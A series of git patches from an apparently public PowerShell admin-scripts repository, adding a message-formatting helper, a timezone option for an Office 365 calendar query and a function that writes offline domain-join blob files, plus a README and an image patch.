Example") +![Alt text](https://raw.githubusercontent.com/lazywinadmin/PowerShell/master/O365-Get-O365CalendarEvent/images/Get-O365CalendarEvent.png?raw=true "Get-O365CalendarEvent Example") From 13a20bd4b3c2c85cc7e53dc3f577d65596c96f2a Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 21 Apr 2016 00:07:38 -0400 Subject: [PATCH 104/561] Update and Rename Get-DefaultMessage --- .../Get-DefaultMessage.ps1 | 45 ---------- TOOL-New-ScriptMessage/New-ScriptMessage.ps1 | 83 +++++++++++++++++++ 2 files changed, 83 insertions(+), 45 deletions(-) delete mode 100644 TOOL-Get-DefaultMessage/Get-DefaultMessage.ps1 create mode 100644 TOOL-New-ScriptMessage/New-ScriptMessage.ps1 diff --git a/TOOL-Get-DefaultMessage/Get-DefaultMessage.ps1 b/TOOL-Get-DefaultMessage/Get-DefaultMessage.ps1 deleted file mode 100644 index c1b82877..00000000 --- a/TOOL-Get-DefaultMessage/Get-DefaultMessage.ps1 +++ /dev/null @@ -1,45 +0,0 @@ -function Get-DefaultMessage -{ -<# -.SYNOPSIS - Helper Function to show default message used in VERBOSE/DEBUG/WARNING -.DESCRIPTION - Helper Function to show default message used in VERBOSE/DEBUG/WARNING - and... HOST in some case. - This is helpful to standardize the output messages - -.PARAMETER Message - Specifies the message to show -.EXAMPLE - Get-DefaultMessage -message "Connected" - - if the function is just called from the prompt you will get the following output - [2015/03/14 17:32:53:62] Connected - -.EXAMPLE - Get-DefaultMessage -message "Connected to $Computer" - - If the function is called from inside another function, - It will show the name of the function. - [2015/03/14 17:32:53:62][Get-Something] Connected - -.NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm -#> - PARAM ($Message) - PROCESS - { - $DateFormat = Get-Date -Format 'yyyy\/MM\/dd HH:mm:ss:ff' - $MyCommand = (Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name - IF ($MyCommand) - { - Write-Output "[$DateFormat][$MyCommand] $Message" - } #IF - ELSE - { - Write-Output "[$DateFormat] $Message" - } #Else - } #Process -}#Get-DefaultMessage \ No newline at end of file diff --git a/TOOL-New-ScriptMessage/New-ScriptMessage.ps1 b/TOOL-New-ScriptMessage/New-ScriptMessage.ps1 new file mode 100644 index 00000000..a5a16d2a --- /dev/null +++ b/TOOL-New-ScriptMessage/New-ScriptMessage.ps1 @@ -0,0 +1,83 @@ +function New-ScriptMessage +{ +<# + .SYNOPSIS + Helper Function to show default message used in VERBOSE/DEBUG/WARNING + + .DESCRIPTION + Helper Function to show default message used in VERBOSE/DEBUG/WARNING + and... HOST in some case. + This is helpful to standardize the output messages + + .PARAMETER Message + Specifies the message to show + + .PARAMETER Block + Specifies the Block where the message is coming from. + + .PARAMETER DateFormat + Specifies the format of the date. + Default is 'yyyy\/MM\/dd HH:mm:ss:ff' For example: 2016/04/20 23:33:46:78 + + .PARAMETER FunctionScope + Specifies the FunctionName to retrieve. + 0 is New-ScriptMessage + 1 is the function calling New-ScriptMessage + 2 is for example the script/function calling the function which call New-ScriptMessage + etc... + + .EXAMPLE + New-ScriptMessage -Message "Francois-Xavier" -Block PROCESS -Verbose -FunctionScope 0 + + [2016/04/20 23:33:46:78][New-ScriptMessage][PROCESS] Francois-Xavier + + .EXAMPLE + New-ScriptMessage -message "Connected" + + if the function is just called from the prompt you will get the following output + [2015/03/14 17:32:53:62] Connected + + .EXAMPLE + New-ScriptMessage -message "Connected to $Computer" -FunctionScope 1 + + If the function is called from inside another function, + It will show the name of the function. + [2015/03/14 17:32:53:62][Get-Something] Connected + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm + github.com/lazywinadmin +#> + + [CmdletBinding()] + [OutputType([string])] + param + ( + [String]$Message, + [String]$Block, + [String]$DateFormat = 'yyyy\/MM\/dd HH:mm:ss:ff', + [int]$FunctionScope = "1" + ) + + PROCESS + { + $DateFormat = Get-Date -Format $DateFormat + $MyCommand = (Get-Variable -Scope $FunctionScope -Name MyInvocation -ValueOnly).MyCommand.Name + IF ($MyCommand) + { + $String = "[$DateFormat][$MyCommand]" + } #IF + ELSE + { + $String = "[$DateFormat]" + } #Else + + IF ($PSBoundParameters['Block']) + { + $String += "[$Block]" + } + Write-Output "$String $Message" + } #Process +} \ No newline at end of file From 5f1ed6222ddc50f886430cb5ce83a65569004a48 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Thu, 2 Jun 2016 08:50:55 -0400 Subject: [PATCH 105/561] Update Scope parameter Add support the 'Local', 'Global', 'Script' values --- TOOL-New-ScriptMessage/New-ScriptMessage.ps1 | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/TOOL-New-ScriptMessage/New-ScriptMessage.ps1 b/TOOL-New-ScriptMessage/New-ScriptMessage.ps1 index a5a16d2a..1a08d403 100644 --- a/TOOL-New-ScriptMessage/New-ScriptMessage.ps1 +++ b/TOOL-New-ScriptMessage/New-ScriptMessage.ps1 @@ -20,7 +20,11 @@ Default is 'yyyy\/MM\/dd HH:mm:ss:ff' For example: 2016/04/20 23:33:46:78 .PARAMETER FunctionScope - Specifies the FunctionName to retrieve. + Valid values are "Global", "Local", or "Script", or a number relative to the current scope (0 through the number of scopes, where 0 is the current scope and 1 is its parent). "Local" is the default + + See also: About_scopes https://technet.microsoft.com/en-us/library/hh847849.aspx + + Example: 0 is New-ScriptMessage 1 is the function calling New-ScriptMessage 2 is for example the script/function calling the function which call New-ScriptMessage @@ -58,7 +62,7 @@ [String]$Message, [String]$Block, [String]$DateFormat = 'yyyy\/MM\/dd HH:mm:ss:ff', - [int]$FunctionScope = "1" + $FunctionScope = "1" ) PROCESS @@ -80,4 +84,4 @@ } Write-Output "$String $Message" } #Process -} \ No newline at end of file +} From fbdd1d04e9c3a2cca078f6119656db86fc24730b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Thu, 2 Jun 2016 11:52:12 -0400 Subject: [PATCH 106/561] Rename AD-SITE-Inventory/Get-ADSiteInventory.ps1 to AD-SITE-Get-ADSiteInventory/Get-ADSiteInventory.ps1 --- .../Get-ADSiteInventory.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) rename {AD-SITE-Inventory => AD-SITE-Get-ADSiteInventory}/Get-ADSiteInventory.ps1 (99%) diff --git a/AD-SITE-Inventory/Get-ADSiteInventory.ps1 b/AD-SITE-Get-ADSiteInventory/Get-ADSiteInventory.ps1 similarity index 99% rename from AD-SITE-Inventory/Get-ADSiteInventory.ps1 rename to AD-SITE-Get-ADSiteInventory/Get-ADSiteInventory.ps1 index 52ac2533..6931ec8f 100644 --- a/AD-SITE-Inventory/Get-ADSiteInventory.ps1 +++ b/AD-SITE-Get-ADSiteInventory/Get-ADSiteInventory.ps1 @@ -97,4 +97,4 @@ }#get-ADSiteServicesInfo #get-ADSiteServicesInfo #| export-csv .\test.csv -Get-ADSiteInventory \ No newline at end of file +Get-ADSiteInventory From 3f7d414284695a24d993e47240b8c004f2a317ec Mon Sep 17 00:00:00 2001 From: Stephane Date: Tue, 21 Jun 2016 11:55:11 +0200 Subject: [PATCH 107/561] Added TimeZone parameter in Get-O365CalendarEvent --- .../O365-Get-O365CalendarEvent.ps1 | 23 ++++++++++++++++--- 1 file changed, 20 insertions(+), 3 deletions(-) diff --git a/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 b/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 index 777e900c..8772afb3 100644 --- a/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 +++ b/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 @@ -54,6 +54,9 @@ # Filter/Sorting/Top/Order https://msdn.microsoft.com/office/office365/APi/complex-types-for-mail-contacts-calendar#UseODataqueryparametersPageresults + + .HISTORY + Stephane van Gulick - PowerShellDistrict.com: Added Headers Property 'timeZone' to fit the display gap that could happen between an actual event an the current timeZone. #> [CmdletBinding()] @@ -66,20 +69,34 @@ $Credential = [System.Management.Automation.PSCredential]::Empty, [ValidateNotNullOrEmpty()] [ValidateRange(1, 50)] - $PageResult = '10' + $PageResult = '10', + [ValidateSet( + 'Romance Standard Time', + 'Atlantic Standard Time' + )] + $Timezone #complete list available here https://technet.microsoft.com/en-us/library/cc749073(v=ws.10).aspx ) PROCESS { + + $Splatting = @{ Credential = $Credential Uri = "https://outlook.office365.com/api/v1.0/users/$EmailAddress/calendarview?startDateTime=$StartDateTime&endDateTime=$($EndDateTime)&`$top=$PageResult" - } + + } + + if ($TimeZone){ + $headers = New-Object 'System.Collections.Generic.Dictionary[[String],[String]]' + $headers.Add('Prefer', "outlook.timezone=`"$TimeZone`"") + $Splatting.Add('Headers',$headers) + } if (-not $PSBoundParameters['EmailAddress']) { #Query the current User $Splatting.Uri = "https://outlook.office365.com/api/v1.0/me/calendarview?startDateTime=$StartDateTime&endDateTime=$($EndDateTime)&`$top=$PageResult" } - Invoke-RestMethod @Splatting | Select-Object -ExpandProperty Value + Invoke-RestMethod @Splatting | Select-Object -ExpandProperty Value } } \ No newline at end of file From 2587ec9706fdde0542ac222d2ef5780e25aace57 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 1 Jul 2016 16:50:37 -0400 Subject: [PATCH 108/561] Add New-DjoinFile --- TOOL-New-DjoinFile/New-DjoinFile.ps1 | 70 ++++++++++++++++++++++++++++ 1 file changed, 70 insertions(+) create mode 100644 TOOL-New-DjoinFile/New-DjoinFile.ps1 diff --git a/TOOL-New-DjoinFile/New-DjoinFile.ps1 b/TOOL-New-DjoinFile/New-DjoinFile.ps1 new file mode 100644 index 00000000..5afe3265 --- /dev/null +++ b/TOOL-New-DjoinFile/New-DjoinFile.ps1 @@ -0,0 +1,70 @@ +function New-DjoinFile +{ + <# + .SYNOPSIS + Function to generate a blob file accepted by djoin.exe tool (offline domain join) + + .DESCRIPTION + Function to generate a blob file accepted by djoin.exe tool (offline domain join) + + This function can create a file compatible with djoin with the Blob initially provisionned. + + .PARAMETER Blob + Specifies the blob generated by djoin + + .PARAMETER DestinationFile + Specifies the full path of the file that will be created + + Default is c:\temp\djoin.tmp + + .EXAMPLE + New-DjoinFile -Hash $hash -DestinationFile C:\temp\test.tmp + + .NOTES + Francois-Xavier.Cat + LazyWinAdmin.com + @lazywinadm + github.com/lazywinadmin + + .LINK + https://msdn.microsoft.com/en-us/library/system.io.fileinfo(v=vs.110).aspx + #> + [Cmdletbinding()] + PARAM ( + [Parameter(Mandatory = $true)] + [System.String]$Blob, + [Parameter(Mandatory = $true)] + [System.IO.FileInfo]$DestinationFile = "c:\temp\djoin.tmp" + ) + + PROCESS + { + TRY + { + # Create a byte object + $bytechain = New-Object -TypeName byte[] -ArgumentList 2 + # Add the first two character for Unicode Encoding + $bytechain[0] = 255 + $bytechain[1] = 254 + + # Creates a write-only FileStream + $FileStream = $DestinationFile.Openwrite() + + # Append Hash as byte + $bytechain += [System.Text.Encoding]::unicode.GetBytes($Blob) + # Append two extra 0 bytes characters + $bytechain += 0 + $bytechain += 0 + + # Write back to the file + $FileStream.write($bytechain, 0, $bytechain.Length) + + # Close the file Stream + $FileStream.Close() + } + CATCH + { + $Error[0] + } + } +} \ No newline at end of file From 5f715a748be5b211720015d08a31d4a2b527869d Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 1 Jul 2016 17:02:30 -0400 Subject: [PATCH 109/561] Update New-DjoinFile Links --- TOOL-New-DjoinFile/New-DjoinFile.ps1 | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/TOOL-New-DjoinFile/New-DjoinFile.ps1 b/TOOL-New-DjoinFile/New-DjoinFile.ps1 index 5afe3265..c02527cf 100644 --- a/TOOL-New-DjoinFile/New-DjoinFile.ps1 +++ b/TOOL-New-DjoinFile/New-DjoinFile.ps1 @@ -18,14 +18,18 @@ Default is c:\temp\djoin.tmp .EXAMPLE - New-DjoinFile -Hash $hash -DestinationFile C:\temp\test.tmp + New-DjoinFile -Blob $Blob -DestinationFile C:\temp\test.tmp .NOTES Francois-Xavier.Cat LazyWinAdmin.com @lazywinadm github.com/lazywinadmin - + + .LINK + https://github.com/lazywinadmin/PowerShell/tree/master/TOOL-New-DjoinFile + .LINK + http://www.lazywinadmin.com/2016/07/offline-domain-join-copying-djoin.html .LINK https://msdn.microsoft.com/en-us/library/system.io.fileinfo(v=vs.110).aspx #> From 49fa1e5b4a585a78f4cef622a8914d9faab4945b Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 1 Jul 2016 21:23:56 -0400 Subject: [PATCH 110/561] Add New-DjoinFile Readme/Image --- TOOL-New-DjoinFile/README.md | 25 +++++++++++++++++++ TOOL-New-DjoinFile/media/New-DjoinFile01.png | Bin 0 -> 10490 bytes 2 files changed, 25 insertions(+) create mode 100644 TOOL-New-DjoinFile/README.md create mode 100644 TOOL-New-DjoinFile/media/New-DjoinFile01.png diff --git a/TOOL-New-DjoinFile/README.md b/TOOL-New-DjoinFile/README.md new file mode 100644 index 00000000..0f42944d --- /dev/null +++ b/TOOL-New-DjoinFile/README.md @@ -0,0 +1,25 @@ +[NewDjoinFile01]: https://github.com/lazywinadmin/PowerShell/blob/master/TOOL-New-DjoinFile/images/New-DjoinFile01.png +New-DjoinFile +=================== +## Related Article(s) +[Blog article on lazywinadmin.com](http://www.lazywinadmin.com/2016/07/offline-domain-join-recreating-blob.html) + +## Description + +The New-DjoinFile function create a Blob file from the String Generated by Djoin. +This blob file can then be passed to djoin to join the machine to the Active Directory domain. + +## Usage +Using the function against All GPO: +```PowerShell +# Load the function (Dot Sourcing) +. C:\MyScripts\New-DjoinFile.ps1 + +# Blob generated +$Blob = "" + +# Recreate djoin file +New-DjoinFile -Blob $blob -DestinationFile $home\desktop\blob.txt -Verbose +``` + +![alt text][NewDjoinFile01] \ No newline at end of file diff --git a/TOOL-New-DjoinFile/media/New-DjoinFile01.png b/TOOL-New-DjoinFile/media/New-DjoinFile01.png new file mode 100644 index 0000000000000000000000000000000000000000..708c910b8beaf320b535342a4fae1393f72e8d5f GIT binary patch literal 10490 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 